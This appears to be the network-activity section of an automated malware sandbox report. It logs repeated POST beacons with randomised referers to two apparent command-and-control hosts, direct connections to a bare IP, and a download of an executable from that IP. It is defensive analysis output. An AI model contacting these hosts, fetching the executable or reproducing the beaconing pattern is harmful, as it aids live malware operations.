Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://bkkawsblriievtha.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://cdxudjgvudlubb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://mdlgxwobmimrfsiq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 139Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://kdihkbbguxoo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://kwisrrqgrmlvi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://ntbrsmlnvptwiq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 262Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://iymhwcsxyfccua.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://pyvpiskjnabcb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 310Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://ndvftlyrsws.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 353Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://vsqfnosbtpkyeiw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 291Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://viuhsicxwcdmbdc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://phumebsddarvf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://oqtouvjrjhoopu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://ninjahallnews.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 501Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://vufdhvyhyvwjjkm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://cnafyhqaamox.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://vevyfytohbagkutf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://slehgyiiuvhyal.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ajlkwtshfrbwcj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lmqmhcivixmahfcs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 350Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eqlgmwxqcstymthl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uajyyjejyvvbvl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fcbqaeiodmerjjce.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uqyhewsqgme.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mcnivsvqoyuiyi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://snlvxdcuggcgtr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rcayuliatuydngjp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gxhoywsjvhdimib.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hnkujwopesopy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 158Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gcsggiqiypjqctoh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://swrrssmuceopwlwv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 194Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mcrofbggconl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://euadhmjtligscip.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oratgvwctswjsrg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 289Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jukynnhymwnwl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 281Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pithrelifcqallw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kdahnseejtpvc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://umfnnmmrmjakpw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 314Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hjaonoqsbnhieap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 286Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kfntyderqkkh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 258Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bpuffphxcjr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 219Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://evwfmjkyovghciew.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dxitdoiirfghic.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 220Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://goilbsuxbgu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 341Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bmhunjcauidhfjas.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ehqwwnwmwdh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 208Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oawojikvjxqxudp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xlurbvunmfixk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kamxftfsfgaby.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oqmylvnapebvw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 298Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hyeljwvkydclsem.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 221Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ovnkboilnwpev.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 185Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://elavhytildeantb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 307Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qvpxnipvuyciicri.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 192Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nsxfaafbvsvkfwb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://euvycibbjmraba.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 340Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://istrtdmsewdifyn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://chihuprqnvownoad.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 284Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://muicqrvubdhbsy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xfevllovssfdblv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: nwgrus.ru

Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /ksa9104.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.164

Source: global traffic	DNS traffic detected: DNS query: nwgrus.ru
Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: ninjahallnews.com

Source: unknown

HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: https://vucrathrxdck.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: ninjahallnews.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 16:24:20 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Type: text/html; charset=utf-8Connection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 16:24:37 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Type: text/html; charset=utf-8Connection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 16:24:38 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 409Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 16:24:47 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 409Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 16:26:00 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 16:26:17 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 16:26:37 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 16:26:56 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 04 00 00 00 72 e8 87 ec Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:28 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
